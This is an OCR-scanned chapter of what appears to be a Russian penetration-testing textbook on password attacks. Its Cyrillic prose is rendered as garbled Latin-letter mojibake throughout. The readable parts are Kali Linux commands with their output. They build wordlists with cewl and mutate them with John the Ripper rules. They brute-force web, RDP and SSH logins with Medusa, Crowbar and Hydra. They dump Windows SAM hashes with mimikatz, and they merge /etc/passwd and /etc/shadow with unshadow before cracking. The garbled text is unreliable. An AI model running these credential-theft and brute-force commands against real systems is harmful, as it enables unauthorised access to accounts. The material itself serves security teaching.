OC mnpocut Bac cMEHUTD TTAPOJib. Bbl BBO/IUTE TIEPBOE, UYTO TIPUXOIUT BaM B FOJIOBY
1 XOPOIIO 3anloMUHAaeTCsT, HanpumMep <« Typrms2023».

YVuuThiBas, 4TO AEATENbHOCTH 060 KOMIAHUN B TOW MJIM WHOI CTENeHN Ha-
XOAUT CBOE OTPAKEHME Ha ee BeO-cTpaHryKe, ObLI0 OBl pa3yMHO IIPOCMOTPETH €e,
HaWTH camble YaCTO BCTPeYaeMble CJI0BA M UCIIOJIb30BATh UX JIJIST CO3IaHMS CITHCKA
BO3MOXKHBIX TTapoJieil. [[yist JTaHHOM 11e/1M MOKHO MCI0JIb30BaTh MHCTPYMEHT TT0]]
nassanuem cewl (Custom Word List Generator), KOTOpblii TaKKe BXOJUT B COCTAB
Kali Linux:

root@kali:~# cewl -w au_gov.txt -d 6 -m 7 au-gov.tv
CeWL 5.2 (Some Chaos) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

B pannom ciyyae yruamta OyaeT mpocMaTpUBaTh caiiT MaKCMMyM Ha 6 cTpaHuIl
B rIyOMHY M UCKaTh CJIOBA JJIMHON MUHUMYM U3 7 CUMBOJIOB. Bee pesyJibraTsl pa-
6OTBI OYIYT 3aIKCaHbl B (pailJ:
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root@kali:~# cat au_gov.txt
Keyboard
determined
messing

messed
troubleshooting
acronymn
TANSTAAFL
Launch
Shopping
specialization
expressed
comfortably
flowers
repaired
Maintaining
specializing
incompetent
worrying
permits
grandma
occasion
plugged
renewed

barely
concerned

OpiHako CO3MaHHBIN HA OCHOBE JIAHHBIX OJIHOTO CaliTa CIMCOK Tapojeil He 6ymer
adbextBHBIM. Ha ceropuammumii 1eHb TPakKTUYECKN Ha BCEX MPEAIPUITUAX €CTh
MOTUTHKA GE30MACHOCTH, OTOBAPUBAIOTIAST CTIOKHOCTH aposieil. bosee Toro, HUKTO
He CTOUT Ha/l T0JIb30BaTeJIeM U He CMOTPUT, COOTBETCTBYET JIX €T0 IIapoJib MOJTUTHKE
6e30MaCHOCTH: CHCTEMA caMa He JIACT eMy BBECTH T1apoJib Kopode 8 CUMBOJIOB, He
cojiepKaIiuii 3araBayo OykBy u 1udpy. [ToaToMy MOTyYeHHBIA HA MPEIABIIYIIEM
Iare CIUCOK Hao GyIeT HECKOIBKO MOAUGDHUIIMPOBATD.

Jlnst Mmouduranmuu maposieil BocmosbayeMcst mporpammoii John the Ripper (JtR).
JtR — 310 MHCTPYMEHT /IS B3OMa TapoJieid, TepBOHAYATBHO Pa3paboTaHHbIH /ISt
Unix, HO BIOCJIEACTBUU aJal TUPOBAHHBII JIJIA MHOTHX JPYTUX OMEPAIIOHHBIX
cucreM, Bkitouas Windows, MacOS u Linux. JtR criocobeH moabupats mapoJiu, uc-
TOJTB3YsT PA3TIMYHBIE METOIBL: TIPSAMOTT TIepebop, CTOBapHBIE ATaKH, ATAKU € UCITOb-
30BaHKEM PALYKHBIX TaOIHI] (IPEBAPUTENIHHO BHIYUCIEHHAS TaOIUIIA BOSMOKHBIX
XeIleit ¥ COOTBETCTBYIONIMX MM MapoJieil), a TaksKe rHOpUIHBIE aTaku (KOMOWHATIHST
CJIOBApPHBIX aTak ¥ mpsiMoro mepe6opa). John the Ripper moameps:kimBaeT MHOKECTBO
dopmaros xemmposanus, Bkaodas DES, MDS5, Blowfish, Kerberos u muorue apyrue.

YT06bI K3MEHUTD apaMeTPbl PaOOTHI JAHHON TPOTPAMMDBIL, IIPUAETCS OTPEAAKTUPO-
BaTh KOH(UTYPAIIMOHHBII (ailsn TakiuM 06pasoM, 4ToObI OHa 106aBIIsiIa IBE U PLI
K Ka)KIOMY TIapoJIt0 U3 CO3[aHHOro ciucka. JlobaBum B KoHell (aiiia /etc/john/
john.conf mpaBuo, cenyst KOTOpOMY TporpamMmMa OyIeT T06aBIATH MO Be TP
B KOHIIE KQXK/[OTO MaPOJIs:
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[List.Rules:AddNum]
$[e-91%[0-9]

Tenepnb 3amyctuM JtR 1 B KauecTBe MapaMeTpa yKaxkeM yske coOpaHHBII HAMY CITHCOK
napoJieri:

root@kali:~# cat john --wordlist /root/au_gov.txt --stdout --rules:AddNum > /
root/re_au_gov.txt

words:84567 time:0:00:00:00 DONE (Tue Oct 15 18:15:25 2022) w/s: 2242K
current: Programming99

root@kali:~# cat /root/re_au_gov.txt

Aebcsupport25
Aebcsupport26
Aebcsupport27
Aebcsupport28
Aebcsupport29
Aebcsupport3e

ATaKun Ha cepBUCHI

Terepb, KoT/Ia MBI PA306PATUCH ¢ OOIUMHU TIPUHITUTIAMU 1 CO3/IaJIN HEOOXOMMbIE
CITUCKHU TapoJieit, epeiizeM K mpaktuke. OHIalH-aTaK| HATIPABJIEHBI TIPEKIE BCETO
Ha TTo60P Mapoell Kk cepBrcam, 06eCTIeTMBAIONINM YAATEHHYIO Ay TEHTH(HUKATIIIO.
Ito MoryT ObITh BeO-tipuiiokenust, SSH, SMTP, FTP u napyrue cepBUCHI.

CTouT yHOMSAHYTH O PUCKAX TaKuX aTak. Kak Bbl TOHSJIM U3 TIPEAbIAYIIEN YaCTH,
nepebop mapoJielt Mo cao0Bapio, He TOBOPS yiKe O TIPAMOM Tiepebope mapoJieil, — 1o
POTIECC, KOTOPOIT MOJKET TIOTPE6OBATE I0CTATOYHO MHOTO BPEMEHHU U HE O[HY COTHIO
ITOIIBITOK. COBPEME‘HHBIG CUCTEMDI 3allTUThI OYE€Hb 6BICTpO OTpearupyroT Ha COTHIO-
JIPYTYIO TOTIBITOK ayTeHTH(hUKAIIUN OJIHOTO U TOTO K€ MOJIb30BATENS B KOPOTKUIA
[POMEKYTOK BPEMEHU ¥ B JIyUIlleM cJydae mpocTo 3abmokupyor [P-aapec araxy-
foritero. He 3a6biBaiite m 0 TOM, 4TO MOYTH BCE CHCTEMBI GIOKUPYIOT TI0Jb30BATEST
B TOM CJIy4ae, eCJI OH BBEJ HEBEPHbIH MaposIh 60Jree TPeX WIIH TATH Pas.

Heo6xoauMo npaBuIibHO BEIOPATH 1eJib JIJIs aTaky. Tak, aTaka Ha TaKoii cepBHC, KaK
RDP, zaiimer GoJibliie BpeMeHr. ITO CBI3aHO C T€M, YTO BaM MPUAETCs I0AOUpaTh
TOJIBKO OJIMH TIAPOJIb 32 CECCUIO U BbI HE CMOJKETE /I€IATh ATO B HECKOJIBKO [TOTOKOB.
3ato, nogob6pas 1maposb Kk RDP, Bbl nosyuyure 6oJiblie BO3MOKHOCTENR U ¢BOOOIBI
HeHCTBUI B OyIyIIeM, HEKEJIN YeM B CJIyUae ¢ BeO-TPUIOKEHHEM.

Medusa

Medusa — 210 ObICTPBIIL ¥ YAOOHBII MHCTPYMEHT J1Jist Tiepebopa mapoJieit. Ona noj-
JlepKUBaeT MHOKECTBO TTPOTOKOJIOB g NpoBeennd atak, Bkiatodass HTTP, FTP,
SMB (Server Message Block), SMTP (Simple Mail Transfer Protocol), SSH (Secure
Shell), Telnet u 1. 1. OaHOit U3 cusbHBIX cTopo Medusa SBIsIETCS MHOTOIIOTOYHOCTD,
GJiarojapst e MosIBJISIETCS BOBMOMKHOCTD OCYIIECTBIISATh HECKOJIBKO ITONBITOK BXO/a
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OJIHOBPEMEHHO, UTO 3HAUNTEIBHO YBEINYNBAECT CKOPOCTH nepebdopa. V3-3a Moyib-
HO#T cTpyKTYphl Medusa JIerko afanTupoBath JJist MOJEPKKI HOBBIX TIPOTOKOJIOB
u cepsucoB. Medusa nojepskuBaet (GyHKIUIO HEKOTOPBIX TIPOTOKOJIOB (HATIPUMED,
SMB) «pass-the-hash», koropast mo3BossieT ayTeHTUGUIMPOBATH MOJIH30BATEIS
¢ momotibio NTLM- nau Lanman-xera mapoJisi, a He caMOoTO TTapoJis.

Medusa Takske noguepskubaer araku Ha ¢ailabl .htaccess. Maitnn htaccess uc-
HOJIb3YIOTCS Ha cepBepax Hoz yupasierreM Apache. OHu MOTYT IPUMEHSIThCS J1JIsT
3aIMUTHI KOHKPETHBIX KATATOTOB C MTOMOIIBIO ayTEHTU(UKAIINK Ha OCHOBE TTapoJieil.
Maiin htaccess csizpiBaercs ¢ daiisom .htpasswd, KOTOPBI COEPKUT UMEHA TTOJIb-
30Baresieil u XeIUPOBAHHbBIE TAPOJTH.

[Tpoxemoncrpupyem pabory Medusa Ha mpumepe moabopa maposis st [0CTyTa
K 3alUIIeHHON AupeKToprn BeO-cepBepa:

root@kali:~/ medusa -h www.mycorp.com -s -p /root/Documents/500-passwords.txt
-M http -m DIR:/administrator -T 10 -u admin

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
<jmk@foofus.net>

ACCOUNT CHECK: [http] Host: www. mycorp.com (1 of 1, © complete) User: admin
(1 of 1, © complete) Password: 123456 (1 of 1 complete)

ACCOUNT FOUND: [http] Host: www. mycorp.com User: admin Password:

123456 [SUCCESS]

B maHHOM TIpMepe Mbl COBEPIIMJIN aTaKy Ha cailT oz yupasierrem CMS Joomla.

B kauecTBe mapamMeTpoB UCIIOJb30BAHbL

® -hB-h www.mycorp.comyKa3bIBaeT Ha I[eJIEBOI XOCT;

® -5 yKasbIBaeT Ha TO, YTO J0JIKHO UCIIOJIb30BaThCst 6e3011aCHOE COEAMHEHIE, eCIIH
9TO BO3MOJKHO;

® -p B-p /root/Documents/500-passwords.txt 3agaer ¢aii co CIIMCKOM IapoJIe,
KOTOPBII OyAeT IPUMEHIThCS IIPH aTaKe;

® -MB-M http ykasbIiBaeT Ha MO/YJIb, KOTOPbBIiA 6y/:[eT IIPUMEHATHC IIPU aTaKe,

® -mB-m DIR:/administrator UCIIOJIB3YETC A OTIPEIETIECHNS TOTMOTHUTETbHBIX
ImapaMeTpoB MOIYJIA,

e -TB-T 10 3a7aeT KOJIMIECTBO IIOTOKOB, KOTOPbIE OYAYT UCIIONb30BATHCS IPU
aTake;

® -u B-u admin 3aj1acT UMsI TOJIB30BATEJIST, KOTOPOE OYET IPUMEHSITHCSI TIPY aTaKe.

Crowbar

Crowbar — WHCTPYMEHT, U3HAYATBHO Pa3pabOTaHHbIN JIJIST ATAKU HA TTPOTOKOJIBI
¢ 06mmmM kioyoM, Harrpumep OpenVPN. OH ocHOBaH Ha IPUMEHEHUN METOo/Ia Iie-
pebopa 110 ceccrsiM, cpadaThIBAOIIETO B CIyYastX, KOT/Aa OObIYHbIE METO/BI Iiepebopa
OKa3bIBAIOTC HEd(HEKTUBHBIMY P NCIOJIb30BAHNN HEKOTOPBIX ITPOTOKOJIOB.
Crowbar ncnosnbsyercs ajs atak Ha pasandnbie cepsuchl: OpenVPN, SSH private
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key, Remote Desktop Protocol ¢ moguepsxkkoit NLA, VNC key authentication.
ITpu arake na OpenV PN, SSH private key uinu VNC key authentication Crowbar
[BITAETCA MOAKIIOYUTHCS K CEPBEPY € TIOMOIIBIO KJI0YEH, YKa3aHHBIX B CIICI[U-
anpaoM (aitie. K RDP-cepBepy Crowbar mbiTaeTcst HOAKIIOYUTHCS ¢ TOMOTIBIO
YKA3aHHBIX YYETHBIX JAHHBIX W ONPEIEIAET YCIEIHOCTD TOTBITKA, OCHOBBIBASICH
Ha OTBETE cepBepa.

Crowbar obmazaer MUPOKUMEI BO3MOKHOCTSIMU J1JIsI TOHKOI HACTPOMKY IPECTOSI-
1eil aTaky, BK/IIOYas 3aJaHue TaiiM-ayToB, IoAAepKKy IPv6 u criocobnocts 06pa-
6aTbIBaTh OTPHIIATEIbHBIE OTBETHI cepBepa. BBHY TOT0O 4TO Ha JaHHBI MOMEHT 9Ta
YTUJIATA SBJSETCS OMHON U3 HEMHOTUX, YMEIIUX KOPPEKTHO TOAOUPATH TTAPOJIH
K COBpeMeHHbIM BepcusiM RDP-cepBepoB, UMEHHO Ha HUX U OYET TPOAEMOHCTPH-
poBaHa ee paboTa.

[l Havasia HaM Hazo OyzeT MHCTALIMPOBATh JaHHYIO YTHINTY M3 CTaHAAPTHHIX
pemnosuropues Kali Linux:

root@kali:~# sudo apt install crowbar

[asee ocytecTBIM MOAOOP MAPOJIEH, MCTOMB3YsT CAEYIOTIIE TapaMETPLI:
® -b rdp yKa3bIBaeT Ha TUII UCIIOJIb3YEMOI0 IIPOTOKOJIA;
® -s 192.168.10.4/32 3aj1aeT a/ipec cepBepa, Ha KOTOPBIN MBI OCYIIECTBIISIEM aTaKy;

® -u admin yKasblBaeT UMsI MOJIb30BATEJISI, [IJIsI KOTOPOTO MBI OyieM Toa0uparh
IapOoJIb;

-C /home/itsecbook/mylist.txt yka3pIBaeT Ha CIIMCOK MapoJIel;

® -n 1ompezensieT KOJIUYeCTBO OAHOBPEMEHHDBIX ITOKIIOUEHUN.

root@kali:~# crowbar -b rdp -s 192.168.10.4/32 -u admin -C /home/itsecbook/
mylist.txt -n 1

2022-12-18 ©09:11:02 START

2022-12-18 ©09:11:02 Crowbar v0.3.5-dev

2022-12-18 ©9:11:02 Trying 192.168.10.4:3389

2022-12-18 ©9:11:02 RDP-SUCCESS : 192.168.10.4:3389 - admin:TestPassl2
2022-12-18 ©9:11:02 STOP

Hydra

THC-Hydra, yacto HassiBaemas npocro Hydra, — a1o yruiaura, paspaboranHas
1151 ToiGopa maposIeil U MoIePKUBAIOIIAst aTAKU KaK METOIOM Mepebopa, Tak U Ha
ocHoBaHuu cioBapeit. Qo us ocobennocreil Hydra siBistercs nopaepikka mmpo-
koro criektpa nporokosio: FTP, HTTP, IMAP, MS-SQL, MySQL, POP3, SMTP,
SSH, Telnet u . 1. 310 Hemaer Hydra yHUBepcaIbHBIM HHCTPYMEHTOM JIJIST B3JIOMa
MapoJIeil Pa3IUIHbIX CUCTEM U TIPUJIOKEHUT.

Hydra rakse obsazaer hyHKIMENr MHOTOIIOTOYHOTO BBITIOJIHEHNUS, 4TO MO3BOJISAET €ii
GicTpo 06pabarsiBaTh GoJbIIHE 00BEMBI TaHHBIX. OHA MOKET COBEPIIATH HECKOJIBKO
TOIBITOK MOA00PA MapajiIeIbHO, TEM CAMBIM YCKOPSIs TPOIIeCC TecTupoBanust. JIpy-
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TUM BOKHBIM penmytiecTBoM Hydra siBnsercst ee ru6roctsh. [lop3oBaTemt MOTyT
HACTPOUTB €€ O/] CBOU KOHKPETHBIE TPeOOBAHMSI.

ITpuBemeM pUMepBI ee UCIOIb30BaHusL. B iepBoM cirydae mogbepeM mapoJib OT Ha-
nrero SSH-cepBepa:

root@kali:~# hydra -1 root -P /root/Downloads/500-passwords.txt ssh://127.0.0.1
Hydra v8.8 (c) 2016 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2022-12-12 ©8:30:10

[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 64 tasks, 500 login tries (1:1/p:500),
~0 tries per task

[DATA] attacking ssh://127.0.0.1:22/

[22][ssh] host: 127.0.0.1 login: root password: MyBestPass

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-12
08:30:59

B sToMm nipumepe uCIosIb30BaHbI CJIe/IYIONIIe TapaMeTphl:

® -1B-1 root yKasbplBaeT Ha UMsI TIOJIb30BATEsT, KOTOPOE OY/IET UCIIOJIB30BATHCST
IIPU aTaKe;

® -PB-P /root/Downloads/500-passwords.txt 3agaeT ¢aiis co CIIMCKOM TapoJielt;

® ssh://127.0.0.1 yKa3biBaeT IeJIEBOI XOCT U IPOTOKOJI, HA KOTOPbIe Oy/eT Ha-
IpaBJieHa aTaka.

B kauecTBe BTOPOTo MprMepa TPOAEMOHCTPUPYEM, Kak MOKHO TipuMeHnTh Hydra
JUIs ataku Ha BebG-cepsep. YacTo i OTIPaBKU Ha CepBep JIOTMHA U HaPOJIs I10JIb-
3oBatesst uctosb3yercd Meto; HTTP POST, umMenHo Ha HeM MBI 1 OCTAaHOBUMCSI.

Oniako Tpesxk/ie 4eM MBI HATHEM, HEOOXOIMMO OTTPEIETUTHCS € HECKOTbKUMI TIO/T-
pobuoctsimu. TlepBoe: HaM Hy)KHO HAWTH, KaKUM 06pa3oM Maposb MepeaaeTcst Ha
cepsep. Bropoe: Heo6X0IMMO TIOHSITD, KaKie epeMeHHbIe HCTTOTB3YIOTCS IS Tiepe-
Jlavu JIOTUHA U 11apoJisi. M HakoHell, HysKHO y3HATh, KAKOI OTBET BO3BPAIIAET CePBep
B CJIyuae HeYJauHOMU MOIBITKU BXO/IA B CHCTEMY.

Bce 9T0 MOXKHO y3HATH, U3YUMB TIeJIb aTaKH, JJIs TOTO MBI ¢ TOMOIIBIO Burp mpo-
anammaupoBaan HTML-kox crparust (puc. 9.1).

[l 3ammycka JaHHOM aTaku MBI MCIIOJIb30BAJIN CJIE/LyIOIIHE [TapaMeTphbl:
® -1 yKasbIBaET JIOTUH, JIJIT KOTOPOTO OYy/IeM Tiepebrparh mapoJiu;

® -P yKa3bIBaeT CIIUCOK IapoJiel;

® -V [IOKa3bIBAET TOAPOOHYI0 MHPOPMAIIUIO 0 X0/1€e PabOTHI;

)

-f oCTaHaBJIMBAET BBIIOJHEHME MOC/e TOro, Kak OyAeT HaiileHo [epBoe COBIa-
JIeHHE.
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e
input type="hidc

ype

_email"3E-pastse,

type="enail® value=""

submit”™ data-disable-withe"|

1_content-panel user

Puc. 9.1. HTML-Kkoa LeneBoi CTpaHULbl

OdnanH-aTakm

Odmaiit-atakn 06BIYHO OTPAHUYEHBI PECYPCAME ATAKYIONIETO U He TPEGYIOT TM0-
CTOSIHHOI 0OPATHOI CBSI3U C aTaKyeMbIM CEPBEPOM, T109TOMY B OOIIEM CJIydae OHU
MOTLYT JUIUTbCS FOPA3/I0 JI0JIbIIIE.

Jlornuuo TIPEATIOJIONKUTD, YTO €CJIN ITOJb30BATE/Ib MOKET aBTOPU30BATHCA B CUCTE-
Me, NCITIOJIb3Yy A JIOTUH 1 IapOJib, TO 3TN JaHHbIE JOJIJKHBI T/1€-TO XPaHUTLCA, ITPUYEM
XPaHUTHCA OHU AOJIKHBI B 3alllUIIIEHHOM BU/I€ (XCIHI/IPOBaHHOM).

XerpoBanue mapoJieit — 3To mporiece mpeodpa3oBaHus BBEEHHOTO MOJIb30BaTe-
JieM TIapoJis B CTPOKY (PMKCUPOBAHHOM JVIMHBI, HA3bIBAEMYIO XelieM. Xenl-(pyHKITUs
obJsaiaeT CBOMCTBOM YHUKAJIBHOCTH: JlasKe HE3HAUUTEIbHOE M3MEHEHUE UCXOIHBIX
JTAHHBIX TTPUBOIUT K TEHEPAIINH COBEPITIeHHO ApyToro xetna. [Tockosbky mportiecc xe-
HIMPOBAHMUS SIBJISICTCS OJJHOCTOPOHHUM, 3TO JleJlaeT HEBO3MOKHBIM BOCCTAHOBJIEHNE
MCXO/THOTO TIapoJist u3 Xeta. [laxke ecii 6a3a JaHHBIX € XEITaMK MapoJIeii CTaHOBUTCST
JIOCTYITHOH aTakyIollM, OHU He MOTYT C JIETKOCTbIO BBIYMCJIUTD IIepPBOHAYAIbHbIE
MIApOJIN.

Eme ofiHO MOHATHE, C KOTOPBIM CTOUT O3HAKOMHUTHCS, — 3TO «COJb> — CIyJaiiHas
CTPOKa, TOOABJISIONAACS K TAPOJIIO MEPE TeM, KaK OH OY/IET XeIUPOBaH. ITOT MPO-
1ece yaydinaer 6e30MacHOCTb, esiast GoJiee TPY103aTPATHBIMU aTaK|, HATTPABJICHHbIE
HA BOCCTAHOBJICHUE TIEPBOHAYAIHLHOTO mapoJisi. Korma couib 106aBIIseTcst K mapoJiio,
OHA JleJTaeT KaK/IbIi Xelll yHUKAJIbHBIM: JIasKe €CJTH JIBA MapOJist UIEHTUYHBI, TO COJIb
JUIST K&KIOTO TTAPOJIsT OOBIYHO BRIGUPAETCS CYYaiHBIM 0OPA3OM.

BaskHo oT™METHTB, UTO COJTb 0OBIYHO XpaHUTCS B 6Ha3e JaHHBIX BMecTe ¢ xereM. Ee
11eJIb — YBEJUYUTD CJI0KHOCTb aTaKy 1 3aTPYIHNUTD UCIIOJIb30BaHNeE IIPe/IBAPUTETIHHO
BBIYKCJIEHHBIX TAOJIUI] XEIlIeit, a He CKPBITh HHPOPMAIIUIO.
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Mony4yeHne xellen

B pasHbIx cricTeMax mapoJii OyayT XPaHUThCS B PasHBIX MecTaX. B BeO-TIPHIIOKEeHIN
oHu xpaHaTcs B 6ase ganHbix, B OC Windows — B 6ase nanubix SAM ¢ nciosibzosa-
HueM LM- unn NTLM-xenieii B 3aBUCUMOCTH OT BEPCUU.

XpaHeHnue mapoJjieil ¢ ucnosab3doBanueMm LM ocytiecTBassm0Ch BO Beel IMHelKe
Windows NT, sxmouas Windows 2003. JJlaHHbIi TiIl XpaHEeHU JAHHBIX UMEET Psij|
HegoctaTkoB. [Taposi aiiHHee 7 CMMBOJIOB PasOMBAOTCS HA YaCTH, Kaskaash 13 KO-
TOPBIX XEHIMPYETCSA U XPAHUTCS OTAEIBHO; BCE CTPOUYHbIE OYKBBI KOHBEPTUPYIOTCSI
B IIPOITMCHbIE; HE UCIIOJIb3yeTcst coJib. Bo Bcex Bepcusix Windows, nauntas ¢ Vista,
napoJin xpausirest B 6osiee HajesknoM suge — NTLM. Onnako coJib TakKe He Uc-
MOJIb3YETCS.

Crout oTMETHTB, 4TO 6a3y JaHHbIX SAM HEBO3MOKHO CKOTIMPOBATD, IIOKA OTIEpaIli-
oHHas cucTeMa paboTaer, Totomy uTo siipo Windows obecriednBaeT 9KCKITIO3UBHYIO
610KkMpPOBKY (aitna. OnHAKO /st TPOBEICHUS aTaK Mbl MOJKEM UCMOJIb30BaTh 110
mimikatz, koTopoe crienuaibHO pazpaboTaHo Jijist BRITPy3Ku xetneir SAM. Moyu
mimikatz o6sier4ator usBJeueHme Xelei mapoieil U3 maMsITH MPOTIECCa TTOICUCTEMBI
JIOKaJIbHOM ¢1ysKObI GesomacHocTr (LSASS), riie OHU KaIMPYOTCS.

ITockonbky LSASS aBigercsa NpUBUIErMPOBAHHBIM IPOLECCOM, PAabOTAIOIIMM
¢ upaBamu 1ojb3osareass SYSTEM, Mbl moskHbL 3aycTuTh mimikatz ¢ npasamu
aamunucTparopa (puc. 9.2). /lns usBiedenus xemiel mapoJieil cHaua a BBITOJHUM
nBe koMaHbl [lepBas — privilege: :debug, koTopas oOeclieduBaer 1pasa A0CTyIIa
SeDebugPrivilge, HeOOXOANMBIE JIJISI BMEIIATEILCTBA B IPYTOI MPOIECC.

LSASS ssasiercst iporieccom SYSTEM, ato o3Hadaer, 4To y Hero elie 6oJiee BhICOKHE
npuBMjIerny, yeM y mimikatz, paboTaiomero ¢ aiMUHUCTPATUBHBIMU IPUBUJICTHAMU.
YT06bI PEIINTD HTY POOAEMY, MbI UCIIOJIb3yeM KOMaH1y token: :elevate.

BR mimikatz 2.1.1 x64 (oe.eo) — O e
C:\UsersyDarry\Downloads\mimik w64 mimikatz
CHEEEE. mimikatz 2.1.1 (x64) built on Aug 13 2822 12:23:53

O~ ##. "A La vie, A L'Amour”
#F SN #HF S =

## \ / ## Benjamin DELPY "“gentilkiwi™ ( benjamin@gentilkiwi.com )
“HE v http://blog.gentilkiwi.com/mimik {oe.eo)
i with 21 modules * * */

mimika #

Puc. 9.2. lMepsbiit 3anyck mimikatz

HpOI/IJUIIOCTpI/IpyeM ITOBbIIIEHNE HDI/IBI/I]IGI‘I/Iﬁ 1 IIoJIy4€eHnEe TOKeHa:

mimikatz # privilege::debug
privilege '20' OK
imikatz # token::elevate
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Token Id : ©

User name :

SID name : NT AUTHORITY\SYSTEM

700 {0;000003e7} © D 79686 NT AUTHORITY\SYSTEM S-1-5-18 (10g,28p) Primary

-> Impersonated !

* Process Token : {0;00179ecc} 1 F 426777763 AzureAD\Darry -1-12-1-2020502230-
1182113820-501065116-4143227616 (12g,23p) Primary

* Thread Token : {0;000003e7} © D 427478422 NT AUTHORITY\SYSTEM -1-5-18
(10g,28p) Impersonation (Delegation)

imikatz #

Teneps mosryanm cojiep:kuMoe 6asbl JaHHbIX SAM:

mimikatz # lsadump::sam

Domain : DESCTOP-4RTG343

SysKey : 45dd5vf53bly0i468he67gf63h965gcx

Local SID : S-1-5-21-3424061778-1841536677-1849652443
SAMKey : 9b65bd68c718868136e2622f2b9a625

RID : ©00001f4 (500)

User : Administrator

LM:

NTLM: 31d6cfeld265ae587b59¢59d7e0c089cO

RID : 000001f5 (501)
User : Guest

LM:

NTLM:

RID : 000001f7 (503)
User : DefaultAccount
LM:

NTLM:

Listing 616 - Dumping the SAM database

B Unix-niogo6ubix OC daiin /etc/shadow comepskut sanmidpoBaHHbie HAPOJIH T10Ib-
30BaTeJIei, a Takske Apyryto H(OpMaIMIo 0 H0JIb30BaTeNbCKUX akkayHTaxX. Kaxjas
CTpOKa B (hailyie ONMUCHIBAET OJIHY YUETHYIO 3aMUCh U UMeeT CIeAyIonuil (popMar:

“username:password:last_change:min_age:max_age:warning:inactivity:expiration:re
served”

ITpumep 3anucu B daiisne /etc/shadow:

“jdoe:$6$Trfgd$Wp. fR3Ed10osGkPO31FgMakG181RXckkhkaaesf.s5v1ABCD
EF12345:18090:0:99999:7:::"
I{CHOHBBOBaHbICHeﬂyKHHHeIIapaMEprE

® jdoe — MM I10JIb30BATEIS;

o $6$Trfgd$Wp.fR3Ed10sGkPO31FgMakGl81RXckkhkaaesf.s5v1ABCDEF12345 — 3a-
1 POBAHHbBIN 11APOJIh T0JIb30BaTENSI. $6$ YKA3bIBAET, UTO IIPUMEHSIETCS AJIrO-
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putm SHA-512. 3a uum ciexnyer coub (Trfgd), a 3aTeM cam 3ammdpoBaHHBIN
1apOJIb;

® 18090 — 1aTa IOCJIeIHEr0 NU3MEHEHNS 11apoJis, BbIpaKeHHast B KOJINYeCTBE JTHEH,
orcuntannbix ot 1 ssuBapst 1970 roaa;

® 0 — MUHUMAJBHBIN BO3PACT MApoJIst (B AHSX ), TIPH KOTOPOM €T0 MOSKHO N3MEHUTH;

® 99999 — MaKCUMAaJbHBIM BO3paCT 1apoJis (B [HIX), IPU KOTOPOM €ro Hy>KHO
M3MEHUTD;

® 7 — TIepuo] IpeaynpekaeHNs (B THIX) TTepe/l NCTeUeHIEeM CPOKa AeHCTBIS TTapo-
a1, IlycThle mosis : @ : 03HAYATOT, YTO 3HAUEHS JIJIST TEPUO/Ia HEAKTHBHOCTH, AThI
HCTeYeHUs aKKayHTa 1 3ape3ePBUPOBAHHOIO 110151 He YCTAaHOBJICHBL.

B3noMm xewa

Y1o6BI yCmenrno B3J1oOMaTh XEII MMapoJid, Hy>KHO 3HATh, KaKo AJITOPUTM XEHIN-
POBaHMA UCIIOJB30BAJICA [JIA €ro CO3/[aHuA. Pasmnrbie AJITOPUTMbBI UMEIOT pa3HbI€
XapPaKTEPUCTUKU 1 YPOBHU 6€3OH3.CHOCTI/I, 1 HEKOTOPbIC N3 HUX MOTYT ObITL GoJtee
YA3SBUMbBIMHU /IJI aTakK, YEM JIpyTHe.

Jlnst ompenesienns tuma xerra B Kali Linux ects yrusura hashid. 9tot unerpyment
aHAJIM3UPYET TIePEIAHHBIIT €My Xelll ¥ OIPeesIsieT, KAKOI aJITOPUTM XEeITUPOBAHHSI
ObL1 cosb3oBan st ero cozmanus. Hashid criocoben pacrniosnaBats 60sibinoe

KOJIMYECTBO TUIIOB XeIlleid, BKJTIoUast Takue pacipocTpaneHHbie, kKak MD5, SHA1,
SHA256, SHA512 u T. z1.

Ncnosnpzosath hashid Hecsoxuo. BaM HY/KHO JIMIIb ITePeAaTh Xell Kak HapamMeTp
TIPU 3aITyCKe KOMaH/Ibl:

root@kali

Ho y3Hatb ajroputs, 1o KoOTopoMy ObLI CreHEPUPOBAH Xelll, MaJlo, MbI HE CMOKEM aB-
TOPU30BATHCS B CUCTEME TOJIBKO C ATUMU JaHHbIMU. Ham Hy:xen cam naposib. B aTom
Ham momMoskeT John the Ripper. dta mporpammMa yHUBepcaibHa, Kak apMeHCKUi HOK,
TOJIbKO paboTaet ¢ naposiayMu. OHa HOAAEPKUBAET OIPOMHOE KOJMUYECTBO (hOPMATOB
U IIOCTOSIHHO OOHOBJISIETCSL.

ITonpobyeM 3amycTuTh ee s nepebopa mapoJieil K Xelam, KOTOpble Mbl HaIILIN
pamHbIIe:

root@kali:~# john /root/hash.txt

Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as
"HAVAL-128-4"

Use the "--format=HAVAL-128-4" option to force loading these as that type
instead
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Loaded 6 password hashes with no different salts (LM [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status

John the Ripper cpasy onpemernmn Tum xena u Hadas moadbupath maposan. OaHaKo
Ha 0OBIYHOM KOMITBIOTEPE ATO 3alIMET TOCTATOUHO MHOTO BpeMeHu. VIcTob3yeMm st
ITUX TeJIeH CTIUCOK € TTAPOJISIMI:

root@kali:~# john --wordlist=/root/Documents/500-passwords.txt /root/hash.txt
-format=Raw-MD5
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2

4x3])

Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (?)

beer (?)

2g 0:00:00:00 DONE (2016-11-06 08:06) 40.00g/s 10020p/s 10020c/s 16260C/s
russia..albert

Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ocranocs paszobparbest ToabKo ¢ naposamu OC Linux. Yto6bl HavaTh nogdupaTh
napoJiu K xemam Linux, HeoOXoauMo oobeanHuTh (aiinbr passwd u shadow mpu
nomouy yruintsl unshadow:

root@kali:~# unshadow /etc/passwd /etc/shadow > /root/u_shadow.txt
root@kali:~# cat u_shadow.txt
